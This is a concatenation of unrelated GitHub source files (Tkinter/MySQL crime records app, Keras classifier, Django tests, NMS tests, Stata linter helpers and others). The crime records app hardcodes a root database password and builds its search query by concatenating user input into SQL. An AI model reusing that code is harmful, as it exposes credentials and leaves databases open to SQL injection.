try:\r\n update=messagebox.askyesno('Update','Are you sure to update the criminal record')\r\n if update>0:\r\n conn=mysql.connector.connect(host='localhost',username='root',password='Boomboomwoosh',database='criminal_database')\r\n my_cursor=conn.cursor()\r\n my_cursor.execute('update criminal set Criminal_number=%s,Crime_Type=%s,criminalName=%s,NickName=%s,father_name=%s,ArrestDate=%s,DateOfCrime=%s,Gender=%s,Address=%s,age=%s,BirthMark=%s,occupation=%s,Wanted=%s where Case_id=%s',(\r\n self.var_criminal_no.get(),\r\n self.var_crime_type.get(),\r\n self.var_criminal_name.get(),\r\n self.var_criminal_nickname.get(),\r\n self.var_father_name.get(),\r\n self.var_arrest_date.get(),\r\n self.var_date_of_crime.get(),\r\n self.var_gender.get(),\r\n self.var_address.get(),\r\n self.var_age.get(),\r\n self.var_birthmark.get(),\r\n self.var_occupation.get(),\r\n self.var_wanted.get(),\r\n self.var_case_id.get()\r\n ))\r\n else:\r\n if not update:\r\n return\r\n conn.commit()\r\n self.fetch_data()\r\n self.clear_data()\r\n conn.close()\r\n messagebox.showinfo('Success','Criminal record has been successfully updated')\r\n except Exception as es:\r\n messagebox.showerror('Error',f'Due to{str(es)}')\r\n\r\n \r\n #delete\r\n def delete_data(self):\r\n if self.var_case_id.get()==\"\":\r\n messagebox.showerror('Error','All Fields are required')\r\n else:\r\n try:\r\n Delete=messagebox.askyesno('Delete','Are you sure?')\r\n if Delete>0:\r\n conn=mysql.connector.connect(host='localhost',username='root',password='Boomboomwoosh',database='criminal_database')\r\n my_cursor=conn.cursor()\r\n sql='delete from criminal where Case_id=%s'\r\n value=(self.var_case_id.get(),)\r\n my_cursor.execute(sql,value)\r\n else:\r\n if not Delete:\r\n return\r\n conn.commit()\r\n self.fetch_data()\r\n self.clear_data()\r\n conn.close()\r\n messagebox.showinfo('Success','Criminal record has been successfully deleted')\r\n except Exception as es:\r\n messagebox.showerror('Error',f'Due to{str(es)}')\r\n \r\n\r\n #clear\r\n def clear_data(self):\r\n self.var_case_id.set(\"\")\r\n self.var_criminal_no.set(\"\"),\r\n self.var_crime_type.set(\"\"),\r\n self.var_criminal_name.set(\"\"),\r\n self.var_criminal_nickname.set(\"\"),\r\n self.var_father_name.set(\"\"),\r\n self.var_arrest_date.set(\"\"),\r\n self.var_date_of_crime.set(\"\"),\r\n self.var_gender.set(\"\"),\r\n self.var_address.set(\"\"),\r\n self.var_age.set(\"\"),\r\n self.var_birthmark.set(\"\"),\r\n self.var_occupation.set(\"\"),\r\n self.var_wanted.set(\"\")\r\n \r\n #search\r\n def search_data(self):\r\n if self.var_com_search.get()=='':\r\n messagebox.showerror('Error','All fields are required')\r\n else:\r\n try:\r\n conn=mysql.connector.connect(host='localhost',username='root',password='Boomboomwoosh',database='criminal_database')\r\n my_cursor=conn.cursor()\r\n my_cursor.execute('select * from criminal where ' +str(self.var_com_search.get())+ \" LIKE'%\" +str(self.var_search.get()+ \"%'\"))\r\n rows=my_cursor.fetchall()\r\n if len(rows)!=0:\r\n self.criminal.delete(*self.criminal.get_children())\r\n for i in rows:\r\n self.criminal.insert('',END,values=i)\r\n conn.commit()\r\n conn.close()\r\n except Exception as es:\r\n messagebox.showerror('Error',f'Due to{str(es)}')\r\n conn.close()\r\n\r\nif __name__==\"__main__\":\r\n root=Tk()\r\n obj=Criminal(root)\r\n root.mainloop()","repo_name":"ankita150799/crime_management_system","sub_path":"criminal.py","file_name":"criminal.py","file_ext":"py","file_size_in_byte":20436,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"18557482295","text":"import matplotlib.pyplot as plt\nimport time\nimport numpy as np\nimport arduino_stepper.arduino_stepper as arduino_stepper\n\ndef test_pwm_frequency(f, port='/dev/ttyACM0', baudrate=19200, timeout=1):\n astep = Arduino_Stepper(port=port,timeout=timeout, baudrate=baudrate)\n astep.set_vel(0)\n astep.reset_step_counter()\n time_start = time.time()\n time_elapsed = time.time() - time_start\n astep.set_vel(f)\n while time_elapsed < 1.:\n time_elapsed = time.time() - time_start\n astep.set_vel(0)\n pos = astep.get_pos()\n measured_frequency = float(pos) / float(time_elapsed)\n return measured_frequency\n \nif __name__ == '__main__':\n frequency = 100 # in steps per second\n test_pwm_frequency(frequency, port='/dev/ttyACM0', baudrate=19200, timeout=1)\n","repo_name":"florisvb/ArduinoStepper","sub_path":"python/examples/test_pwm_frequency.py","file_name":"test_pwm_frequency.py","file_ext":"py","file_size_in_byte":785,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"25344680476","text":"import sys\n#sys.stdout.write(\"comecou a importar\\n\")\nfrom keras import models\nfrom keras.preprocessing import image\nimport tensorflow as tf\nimport numpy as np\nimport os\n\n\nfrom PIL import Image, ImageFile\nImageFile.LOAD_TRUNCATED_IMAGES = True\n\n#sys.stdout.write(\"terminou de importar\\n\")\n\nsys.stderr = open(os.devnull, \"w\") # silence stderr\n#sys.stderr = sys.__stderr__ # unsilence stderr\nimport os\nos.environ['TF_CPP_MIN_LOG_LEVEL'] = '2'\ntf.logging.set_verbosity(tf.logging.ERROR)\nimport warnings\nwarnings.filterwarnings(\"ignore\")\n\n# Não exibir warnings\ndef main():\n \n #arq_lista_docs_id = open('C:\\saidas_previstas\\images_docs_id.txt', 'w') # ERRADO\n #arq_lista_general_docs = open('C:\\saidas_previstas\\images_general_docs.txt', 'w') # ERRADO\n\n #sys.stdout.write(\"Hello\")\n #sys.stdout.write(\"entrou\\n\")\n \n #if (os.path.exists('C:\\modelo_classificador_B_dist_05.h5')== True):\n # sys.stdout.write(\"Achou arquivo do modelo\\n\")\n #else:\n # sys.stdout.write(\"NAO Achou arquivo do modelo!!!!!\\n\")\n\n #model_A = models.load_model('C:\\modelo_classificador_A_dist_05.h5')\n #model_B = models.load_model('C:\\modelo_classificador_B_dist_05.h5')\n\n path_relatorios = sys.argv[1]\n \n model_A = models.load_model('.\\model_A.h5')\n model_B = models.load_model('.\\model_B.h5')\n \n classification_report = open(path_relatorios + \"\\classification_report.txt\", \"w\")\n classification_report.write(\"CARREGOU MODELOS!!!\") \n \n \n \n #sys.stdout.write(\"carregou modelo\\n\")\n \n #file1 = open('C:\\saida.txt', 'r') \n \n\n \n arq_lista_image = open(path_relatorios + \"\\saida.txt\", \"r\")\n arq_lista_docs_id = open(path_relatorios + \"\\images_docs_id.txt\", \"w\")\n arq_lista_docs_general = open(path_relatorios + \"\\images_docs_general.txt\",\"w\")\n #classification_report = open(path_relatorios + \"\\classification_report.txt\", \"w\")\n classification_report.write(\"ARQUIVOS CRIADOS COM SUCESSO!!!\")\n \n lines = arq_lista_image.readlines() \n\n for line in lines:\n path_nome_arquivo = line.strip(\"\\n\") \n #print (path_nome_arquivo) #tira o \\n do final\n \n classification_report.write(\"Analisando Arquivo %s\\n\" % path_nome_arquivo)\n \n img = image.load_img(path_nome_arquivo, target_size=(128,128))\n \n # Imagem valida\n if (img is not None):\n img_tensor = image.img_to_array(img)\n img_tensor = np.expand_dims(img_tensor, axis=0)\n img_tensor /= 255.\n \n #sys.stdout.write(\"carregou imagem: \" + path_nome_arquivo)\n \n predicao = []\n #Preve se e DOCUMENTO OU NAO DOCUMENTO\n predicao = model_A.predict_classes(img_tensor)\n \n \n if (predicao[0]==0): #DOCUMENTO\n predicao = []\n \n # Model_B: verifica se e doc_id ou doc_geral\n predicao = model_B.predict_classes(img_tensor)\n \n if (predicao[0]==0): #docs gerais\n arq_lista_docs_general.write(\"%s\\n\" % path_nome_arquivo)\n classification_report.write(path_nome_arquivo + \";\"+str(predicao[0])+\"\\n\")\n #sys.stdout.write(path_nome_arquivo + \";\"+str(predicao[0]))\n else: #docs id\n #sys.stdout.write(path_nome_arquivo+\"\\n\")\n #sys.stdout.write(path_nome_arquivo + \";\"+str(predicao[0]))\n classification_report.write(path_nome_arquivo + \";\"+str(predicao[0])+\"\\n\")\n arq_lista_docs_id.write(\"%s\\n\" % path_nome_arquivo)\n else:\n classification_report.write(\"Arquivo corrompido %s\\n\")\n \n \n arq_lista_image.close()\n arq_lista_docs_id.close()\n arq_lista_docs_general.close()\n \n return #predicao[0]\n\nif __name__ == \"__main__\":\n main()","repo_name":"julianoppca/Projeto_PPCA_2020","sub_path":"Modulo Autopsy/classifier_exe.py","file_name":"classifier_exe.py","file_ext":"py","file_size_in_byte":3896,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"27985208756","text":"import pytest\n\nfrom .enums import Color\nfrom .models import MyModel\n\n\n@pytest.mark.django_db\ndef test_fields_value_is_enum_when_unsaved():\n obj = MyModel(color='r')\n assert Color.RED == obj.color\n\n\n@pytest.mark.django_db\ndef test_fields_value_is_enum_when_saved():\n obj = MyModel(color='r')\n obj.save()\n assert Color.RED == obj.color\n\n\n@pytest.mark.django_db\ndef test_fields_value_is_enum_when_created():\n obj = MyModel.objects.create(color='r')\n assert Color.RED == obj.color\n\n\n@pytest.mark.django_db\ndef test_fields_value_is_enum_when_retrieved():\n MyModel.objects.create(color='r')\n obj = MyModel.objects.all()[:1][0] # .first() not available on all Djangoes\n assert Color.RED == obj.color\n","repo_name":"hzdg/django-enumfields","sub_path":"tests/test_issue_60.py","file_name":"test_issue_60.py","file_ext":"py","file_size_in_byte":724,"program_lang":"python","lang":"en","doc_type":"code","stars":145,"dataset":"github-code","pt":"37"} +{"seq_id":"19028625200","text":"import pandas as pd\r\nimport numpy as np\r\nimport re, io\r\nfrom pprint import pprint\r\nimport reqtcscore\r\n\r\nscore_dist = reqtcscore.ReqTCScore()\r\n\r\nsample_file = io.open(\"../data/RMSRequirements.txt\", 'r', encoding=\"iso-8859-1\")\r\ntext = sample_file.read()\r\n\r\nmodules = re.findall(r'(\\n{2,4}[0-9]\\.\\s+)(.{1,30}$)', text, re.M)\r\nmodule_names = [modules[i][1] for i in range(modules.__len__())]\r\n\r\nreq_heads = re.findall(r'([0-9]\\.[0-9]+\\.)(.+$)+', text, re.M)\r\nrequirements = re.findall(r'([0-9]\\.[0-9]+\\.)((.+(\\n){1})+(\\n){1,4})', text, re.M)\r\nreqs_mod_1 = [req[1] for req in requirements if int(float(req[0][:-1]))==1]\r\n\r\nt_cases = pd.read_csv('../data/PO_TC.csv')\r\ndocuments = list(t_cases.Description)\r\n\r\nreq_dist = score_dist.dist_score(reqs_mod_1, documents)\r\n\r\ndist_sort = [sorted(d[1], key=lambda x: x[1], reverse=True)[:5] for d in req_dist]\r\n\r\ntc_map = [[(i, documents[i], score) for (i, score) in tc] for tc in dist_sort]\r\ntc_map_df = pd.DataFrame(tc_map)\r\ntc_map_df['Requirement'] = pd.Series(reqs_mod_1, index=tc_map_df.index)\r\ntc_map_df['Score'] = [np.mean(tc[1]) for tc in dist_sort]\r\n# print(type(documents[1]))\r\ntc_map_df.to_csv('../data/output_test.csv')\r\npprint(tc_map_df)\r\npprint(tc_map)\r\n\r\npprint(req_dist)\r\npprint(dist_sort)","repo_name":"aniruddhasanyal/RequestTestCaseMapping","sub_path":"req_tc_map_custom.py","file_name":"req_tc_map_custom.py","file_ext":"py","file_size_in_byte":1240,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"4248917852","text":"from pathlib import Path\nimport json\nimport re\n\nclass PlaylistManager:\n\n def __init__(self, path):\n self.path = path\n self.playlists = list()\n p = Path(path)\n p.mkdir(parents=True, exist_ok=True)\n for file in p.rglob(\"*.json\"):\n with open(file) as f:\n try:\n data = json.load(f)\n if 'type' in data and data['type'] == 'playlist':\n self.playlists.append(data)\n except Exception:\n pass\n\n def save(self):\n for playlist in self.playlists:\n with open(f'{self.path}/{playlist[\"name\"]}.json', 'w') as f:\n json.dump(playlist, f, indent=4)\n\ndef playlist(name: str, songs=None):\n if songs is None:\n songs = list()\n return {'type': 'playlist', 'name': name, 'songs': songs}\n","repo_name":"OpenENT/curses","sub_path":"playlist.py","file_name":"playlist.py","file_ext":"py","file_size_in_byte":870,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"17557337766","text":"# This is a sample Python script.\n\n# Press Shift+F10 to execute it or replace it with your code.\n# Press Double Shift to search everywhere for classes, files, tool windows, actions, and settings.\n\nimport torch\nimport librosa\nfrom transformers import HubertForCTC, Wav2Vec2Processor\n\n# loading model and tokenizer\nprocessor = Wav2Vec2Processor.from_pretrained(\"facebook/wav2vec2-base-960h\")\nmodel = HubertForCTC.from_pretrained(\"facebook/hubert-large-ls960-ft\")\n\nfile = open(\"female.wav\")\n\n# importing wav file\nspeech, rate = librosa.load(file, sr=16000)\n\n# tokenize\ninput_values = processor(speech, return_tensors=\"pt\", padding=\"longest\", sampling_rate=rate).input_values\n\n# retrieve logits\nlogits = model(input_values).logits\n\n# take argmax and decode\npredicted_ids = torch.argmax(logits, dim=-1)\ntranscription = processor.batch_decode(predicted_ids)\n\n# Print transcribed text\n\n# Press the green button in the gutter to run the script.\nif __name__ == '__main__':\n print(transcription)\n\n\n# See PyCharm help at https://www.jetbrains.com/help/pycharm/\n","repo_name":"devslashnil/transformers","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1053,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"29268406005","text":"from datetime import datetime, timedelta\n\nimport requests\nfrom celery import shared_task\n\n# @shared_task\nfrom django.core.exceptions import ValidationError\nfrom django.utils import timezone\n\nfrom portal.models import Smarthome, DeviceStates, Device\n\n\ndef iterateStates(device, pkDevice):\n def transformState(x):\n try:\n last_updated = x['last_updated']\n except KeyError:\n last_updated = x['last_changed']\n return {'last_changed': x['last_changed'], 'last_updated': last_updated, 'state': x['state']}\n\n for state in list(map(transformState, device[1:])):\n newDeviceStates = DeviceStates(device_id=pkDevice, state=state['state'],\n last_changed=state['last_changed'],\n last_updated=state['last_updated'])\n try:\n newDeviceStates.full_clean()\n newDeviceStates.save()\n except ValidationError:\n pass\n\n@shared_task\ndef monitoringDeviceStates(seconds):\n startDate = (timezone.now() - timedelta(seconds=seconds)).strftime('%Y-%m-%dT%H:%M:%S%z')\n for smarthome in Smarthome.objects.all():\n headers = {'Authorization': \"Bearer %s\" % smarthome.token}\n params = {'minimal_response': ''}\n print(timezone.now())\n getStates = requests.get('%s/api/history/period/%s' % (smarthome.url, startDate), headers=headers,\n params=params)\n print(timezone.now())\n for device in getStates.json():\n domain = device[0]['entity_id'].split('.')[0]\n codeDevice = device[0]['entity_id'].split('.')[1]\n deviceRecord = Device.objects.filter(domain=domain, codeDevice=codeDevice, smarthome=smarthome)\n if deviceRecord.exists():\n iterateStates(device, deviceRecord[0].pk)\n else:\n try:\n device_class = device[0]['attributes']['device_class']\n except:\n device_class = ''\n try:\n icon = device[0]['attributes']['icon']\n except:\n icon = ''\n try:\n unit_of_measurement = device[0]['attributes']['unit_of_measurement']\n except:\n unit_of_measurement = ''\n # Для отсеивания лишних записей, которые скрыты в HomeAssistant, но приходят через этот запрос\n # (так как это поле обязательно, то запись не пройдёт валидацию)\n try:\n friendly_name = device[0]['attributes']['friendly_name']\n except:\n friendly_name = ''\n newDevice = Device(smarthome=smarthome, domain=domain, codeDevice=codeDevice, device_class=device_class,\n friendly_name=friendly_name, icon=icon, name=friendly_name,\n unit_of_measurement=unit_of_measurement)\n try:\n newDevice.full_clean()\n newDevice.save()\n iterateStates(device, newDevice.pk)\n except ValidationError:\n pass\n print(timezone.now())\n","repo_name":"dimatroickij/smarthome","sub_path":"smarthome/portal/tasks.py","file_name":"tasks.py","file_ext":"py","file_size_in_byte":3351,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"31236159928","text":"\"\"\" source of tokens from SQL text. See ... for example \"\"\"\n\nimport logging\nimport pickle\nimport os\nimport sqlite3\nfrom .doc_base import DocBase\n\nclass SQLite_src(DocBase):\n \"\"\" The source of texts by topics. A text in a database includes ID and raw text.\n All other attributes are optional.\n The DB is asked about categories only once on the first request.\n Then it reads documents for a category from DB\n \"\"\"\n def __init__(self, db_fname):\n self._log = logging.getLogger(self.__class__.__name__)\n self._db_fname = db_fname\n self._curs = None\n self._conn = None\n self._cats = None\n self._once_warn = False\n\n @property\n def categories(self):\n \"\"\" returns a tuple of categories names \"\"\"\n self._read_db()\n return self._cats\n\n def _db_connect(self):\n if self._curs:\n return\n if not os.path.exists(self._db_fname):\n raise ValueError(\"database file {} doesn't exists\".format(self._db_fname))\n self._conn = sqlite3.connect(self._db_fname)\n self._curs = self._conn.cursor()\n\n def doc_by_category(self, cat, stype='train'):\n \"\"\" returns a set of documents for a category \"\"\"\n super()._check_set_type(stype)\n self._log.debug(\"get documents for category '%s/%s'\", cat, stype)\n if not self._once_warn:\n self._log.warning(\"This class doesn't use 'stype'\")\n self._once_warn = True\n self._read_db()\n if cat not in self._cats:\n raise ValueError(\"category '{}' not in DB categories '{}'\".format(cat, self._cats))\n ret = []\n res = self._curs.execute(\"select body from articles where category = '{}'\".format(cat))\n while True:\n rows = res.fetchmany(200)\n if not rows:\n self._log.debug(\"%d documents received for category '%s/%s'\", len(ret), cat, stype)\n break\n for rlst in rows:\n ret.append(rlst[0])\n return ret\n\n def _read_db(self):\n if self._cats:\n return\n self._db_connect()\n res = self._curs.execute(\"select category, count(id) from articles group by category\")\n cat = {key:val for key, val in res.fetchall()}\n data_sz = sum(list(cat.values()))\n self._log.info('data size: %d', data_sz)\n self._log.info('number of categories: %d', len(cat))\n self._log.info('categories: %s', cat)\n self._log.info(\"The 'Real Estate' category has a small number items and removed\")\n self._log.info('number of categories: %d', len(cat)-1)\n self._cats = [elem for elem in cat if elem != 'Real Estate']\n\n def __del__(self):\n if self._conn:\n self._conn.close()\n","repo_name":"rtaubes/news-time-series","sub_path":"modules/sqlite_src.py","file_name":"sqlite_src.py","file_ext":"py","file_size_in_byte":2773,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"4066132252","text":"import torch\nimport cupy\nimport numpy as np\nfrom torch.utils.dlpack import to_dlpack, from_dlpack\n\ndef cupy_to_tensor(x):\n return from_dlpack(x.toDlpack())\n\ndef tensor_to_cupy(x):\n return cupy.fromDlpack(to_dlpack(x))\n\ndef pack_low_bit_tensor(x, bits):\n assert x.dtype == torch.uint8\n y = cupy.packbits(\n cupy.unpackbits(tensor_to_cupy(x)).reshape(*x.shape, 8)[..., -bits:]\n )\n y = cupy_to_tensor(y)\n return y\n\ndef unpack_low_bit_tensor(x, bits, original_shape):\n y = cupy.packbits(cupy.pad(\n cupy.unpackbits(\n tensor_to_cupy(x)\n )[:np.prod(original_shape)*bits].reshape(-1, bits),\n ((0,0), (8-bits, 0))\n ))\n y = cupy_to_tensor(y).view(original_shape)\n return y\n\n\ndef pin_memory(array):\n mem = cupy.cuda.alloc_pinned_memory(array.nbytes)\n ret = np.frombuffer(mem, array.dtype, array.size).reshape(array.shape)\n ret[...] = array\n return ret","repo_name":"DS3Lab/AC-SGD","sub_path":"compress/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":923,"program_lang":"python","lang":"en","doc_type":"code","stars":16,"dataset":"github-code","pt":"37"} +{"seq_id":"30761961347","text":"import pickle\n\nimport torch\n\nfrom nanodet.model.module.nms import batched_nms, multiclass_nms\n\n\ndef test_batched_nms():\n file = open(\"./tests/data/batched_nms_data.pkl\", \"rb\")\n results = pickle.load(file)\n\n nms_cfg = dict(iou_threshold=0.7)\n boxes, keep = batched_nms(\n torch.from_numpy(results[\"boxes\"]),\n torch.from_numpy(results[\"scores\"]),\n torch.from_numpy(results[\"idxs\"]),\n nms_cfg,\n class_agnostic=False,\n )\n\n nms_cfg.update(split_thr=100)\n seq_boxes, seq_keep = batched_nms(\n torch.from_numpy(results[\"boxes\"]),\n torch.from_numpy(results[\"scores\"]),\n torch.from_numpy(results[\"idxs\"]),\n nms_cfg,\n class_agnostic=False,\n )\n\n assert torch.equal(keep, seq_keep)\n assert torch.equal(boxes, seq_boxes)\n\n\ndef test_multiclass_nms():\n file = open(\"./tests/data/batched_nms_data.pkl\", \"rb\")\n results = pickle.load(file)\n det_boxes = torch.from_numpy(results[\"boxes\"])\n\n socres = torch.rand(det_boxes.shape[0], 8)\n score_thr = 0.9\n max_num = 100\n nms_cfg = dict(iou_threshold=0.5)\n boxes, keep = multiclass_nms(\n det_boxes, socres, score_thr=score_thr, nms_cfg=nms_cfg, max_num=max_num\n )\n\n assert boxes.shape[0] <= max_num\n assert keep.shape[0] <= max_num\n assert min(boxes[:, -1]) >= score_thr\n\n # test all zero score\n socres = torch.zeros(det_boxes.shape[0], 8)\n score_thr = 0.1\n nms_cfg = dict(iou_threshold=0.5)\n boxes, keep = multiclass_nms(\n det_boxes, socres, score_thr=score_thr, nms_cfg=nms_cfg, max_num=-1\n )\n assert boxes.shape[0] == 0\n assert keep.shape[0] == 0\n","repo_name":"RangiLyu/nanodet","sub_path":"tests/test_models/test_modules/test_nms.py","file_name":"test_nms.py","file_ext":"py","file_size_in_byte":1648,"program_lang":"python","lang":"en","doc_type":"code","stars":5352,"dataset":"github-code","pt":"37"} +{"seq_id":"24592252667","text":"import pandas as pd\nfrom os import listdir\nfrom multiprocessing import Pool\nfrom functools import reduce\n\n\ndef read_results(path):\n return pd.read_csv(path, skiprows=[1, 2])\n\n\npattern = '2020'\n\nif __name__ == \"__main__\":\n directories = listdir('./')\n persons = [\"./\" + d + \"/summary_geo.csv\" for d in directories if pattern in d]\n proc = Pool(8)\n person_data = proc.map(read_results, persons)\n\n person_result = pd.concat(person_data, axis=0)\n\n person_result.to_csv(\"summary_geo.csv\", index=False)\n","repo_name":"auzpatwary37/MATSimPipelineMontreal","sub_path":"2 popgen/Ouassim/seed_code/collect_result_summary.py","file_name":"collect_result_summary.py","file_ext":"py","file_size_in_byte":519,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"69861130348","text":"from sys import*\nfrom collections import*\ninput = stdin.readline\ndef move(d):\n global res\n if d==0 or d==3: #U or L\n for i in range(n):\n st=[]; idx=0\n for j in range(n):\n val = a[j][i] if d==0 else a[i][j]\n if val == 0: continue\n try: #비교할 대상 있는 경우\n if st[idx] == val:\n st[idx] *= 2\n res = max(res, st[idx])\n else:\n st.append(val)\n idx += 1\n except: #idx 없는 경우(추가 해야하는 경우)\n st.append(val)\n for j in range(len(st)):\n if d==0: a[j][i]=st[j]\n else: a[i][j]=st[j]\n for j in range(len(st),n):\n if d==0: a[j][i]=0\n else: a[i][j]=0\n elif d==1 or d==2: #R or D\n for i in range(n):\n st=[]; idx=0\n for j in range(n-1, -1, -1):\n val = a[j][i] if d==2 else a[i][j]\n if val ==0: continue\n try:\n if st[idx] == val:\n st[idx] *= 2\n res=max(res, st[idx])\n else:\n st.append(val)\n idx += 1\n except:\n st.append(val)\n for j in range(len(st)):\n if d==2: a[-(j+1)][i]=st[j]\n else: a[i][-(j+1)]=st[j]\n for j in range(len(st), n):\n if d==2: a[-(j+1)][i]=0\n else: a[i][-(j+1)]=0\ndef solve(cnt):\n global a\n if cnt == 5: return\n b=[x[:] for x in a]\n for i in range(4):\n move(i)\n solve(cnt+1)\n a=[x[:] for x in b]\n return\nn=int(input())\na=[list(map(int,input().split())) for _ in range(n)]\nres=0\nfor i in range(n):\n res=max(res, max(a[i]))\nsolve(0)\nprint(res)\n","repo_name":"alb7979s/boj","sub_path":"삼성기출/12100_2048.py","file_name":"12100_2048.py","file_ext":"py","file_size_in_byte":1962,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"} +{"seq_id":"28074137402","text":"import secrets\r\nfrom trusted_mem.bloom_filter import BloomFilter\r\nfrom utils.singleton import singleton\r\nfrom trusted_mem.hyperparameters import *\r\nimport nacl.secret\r\nimport nacl.utils\r\n\r\n@singleton\r\nclass TrustedMemory(object):\r\n '''\r\n Class manager for trusted memory.\r\n '''\r\n def __init__(self):\r\n #Mapping Condition Descriptor -> Bloom Filter\r\n #Condition Descriptor is a tuple. Examples: \r\n #1. (\"NUMERIC\", 0, 100)\r\n #2. (\"CATEGORICAL\", \"FEMALE\")\r\n #3. (\"TEXT\", \"STARTS_WITH\", \"A\")\r\n self.bloom_filters = {}\r\n #Mapping user_id -> private_userid\r\n self.private_userids = {}\r\n #Mapping user_id -> AES encryption/decryption key\r\n self.keys = {}\r\n self.secret_boxes = {}\r\n\r\n def create_bloom_filter(self, condition, items_count, fp_prob):\r\n if condition not in self.bloom_filters:\r\n id = secrets.token_bytes(BLOOM_FILTER_ID_SIZE)\r\n self.bloom_filters[condition] = BloomFilter(id, items_count, fp_prob)\r\n else:\r\n raise Exception(\"Bloom Filter can't be created, it already exists.\")\r\n\r\n def delete_bloom_filter(self, condition):\r\n if condition in self.bloom_filters:\r\n del self.bloom_filters[condition]\r\n else:\r\n raise Exception(\"Bloom Filter can't be deleted, it doesn't exist.\")\r\n \r\n def get_bloom_filter(self, condition):\r\n if condition in self.bloom_filters:\r\n return self.bloom_filters[condition]\r\n else:\r\n raise Exception(\"Can't get Bloom Filter {} because it doesn't exist\", str(condition))\r\n \r\n def has_bloom_filter(self, condition):\r\n return condition in self.bloom_filters\r\n \r\n def create_private_userid(self, userid):\r\n if userid not in self.private_userids:\r\n private_userid = secrets.token_bytes(PRIVATE_ID_SIZE)\r\n # start of safeguard \r\n if private_userid in self.private_userids.values():\r\n self.create_private_userid(userid)\r\n # end of safeguard\r\n else:\r\n self.private_userids[userid] = private_userid\r\n else:\r\n raise Exception(\"Private User ID can't be created, it already exists one for user {}.\".format(userid))\r\n\r\n def delete_private_userid(self, userid):\r\n if userid in self.private_userids:\r\n del self.private_userids[userid]\r\n else:\r\n raise Exception(\"Private User ID can't be deleted, it doesn't exist for user {}.\".format(userid))\r\n\r\n def get_private_userid(self, userid):\r\n if userid in self.private_userids:\r\n return self.private_userids[userid]\r\n else:\r\n raise Exception(\"Can't get private userid for user {} because it doesn't exist\".format(userid))\r\n\r\n def create_key(self, userid):\r\n if userid not in self.keys:\r\n new_key = nacl.utils.random(nacl.secret.SecretBox.KEY_SIZE)\r\n #start safeguard\r\n if new_key in self.keys.values():\r\n self.create_key(userid)\r\n #end safeguard\r\n else:\r\n key = nacl.utils.random(nacl.secret.SecretBox.KEY_SIZE)\r\n self.keys[userid] = key\r\n self.secret_boxes[userid] = nacl.secret.SecretBox(key)\r\n else:\r\n raise Exception(\"Can't create key for user {} because it already exists one\".format(userid))\r\n\r\n def delete_key(self, userid):\r\n if userid in self.keys:\r\n del self.keys[userid]\r\n del self.secret_boxes[userid]\r\n else:\r\n raise Exception(\"Can't delete key for user {} because it has not been created.\".format(userid))\r\n\r\n def get_key(self, userid):\r\n if userid in self.keys:\r\n return self.keys[userid]\r\n else:\r\n raise Exception(\"Can'get key for user {} because it doesn't exist.\".format(userid)) \r\n\r\n def get_secret_box(self, userid):\r\n if userid in self.secret_boxes:\r\n return self.secret_boxes[userid]\r\n else:\r\n raise Exception(\"Can'get secret box for user {} because it doesn't exist.\".format(userid)) ","repo_name":"Shirley-L-Sanchez/private_db","sub_path":"trusted_mem/trusted_memory.py","file_name":"trusted_memory.py","file_ext":"py","file_size_in_byte":4164,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"19495802717","text":"# version 1.02 06apr2023 DIME Analytics dimeanalytics@worldbank.org\n# Import packages ====================\nimport re\nimport pandas as pd\nimport stata_linter_detect as sld\n\n# functions\n\ndef read_dofile(file, include_comments=False):\n\n '''\n Returns a list of the lines in the dofile\n Omits comment lines or commented-out code by default\n '''\n\n with open(file, \"r\") as f:\n dofile_lines = f.readlines()\n\n if include_comments:\n return dofile_lines\n\n dofile_lines2 = []\n comment_delimiter = 0\n\n for line in dofile_lines:\n\n comment_delimiter = sld.update_comment_delimiter(comment_delimiter, line)\n\n if comment_delimiter == 0:\n # Removing end-of-line comments\n filtered_line = re.sub(r\"\\s*((\\/\\/)|(\\/\\*)).*\", r\"\", line)\n dofile_lines2.append(filtered_line)\n\n return dofile_lines2\n\ndef detect_duplicated_blank_line_in_file(file):\n\n dofile_lines = read_dofile(file, include_comments=True)\n\n for line_index, line in enumerate(dofile_lines):\n\n if sld.detect_duplicated_blank_line(line_index, line, dofile_lines):\n return True\n\n return False\n\ndef detect_blank_line_before_curly_close_in_file(file):\n\n dofile_lines = read_dofile(file, include_comments=True)\n\n for line_index, line in enumerate(dofile_lines):\n\n if sld.detect_blank_line_before_curly_close(line_index, line, dofile_lines):\n return True\n\n return False\n\ndef detect_no_space_before_curly_bracket_in_file(file):\n\n dofile_lines = read_dofile(file)\n\n for line in dofile_lines:\n\n if sld.detect_no_space_before_curly_bracket(line):\n return True\n\n return False\n\ndef detect_line_too_long_in_file(file, linemax):\n\n dofile_lines = read_dofile(file)\n linemax = int(linemax)\n\n for line in dofile_lines:\n\n if sld.detect_line_too_long(line, linemax):\n return True\n\n return False\n\ndef detect_bad_indent_in_file(file, indent, tab_space):\n\n dofile_lines = read_dofile(file)\n indent = int(indent)\n tab_space = int(tab_space)\n\n for line_index, line in enumerate(dofile_lines):\n\n if sld.detect_bad_indent(line_index, line, dofile_lines, indent, tab_space):\n return True\n\n return False\n\ndef detect_hard_tab_in_file(file):\n\n dofile_lines = read_dofile(file)\n\n for line in dofile_lines:\n\n if sld.detect_hard_tab(line):\n return True\n\n # No hard tabs detected in any line\n return False\n\ndef detect_delimit_in_file(file):\n\n dofile_lines = read_dofile(file)\n\n for line in dofile_lines:\n\n if sld.detect_delimit(line):\n # whenever the first delimiter is 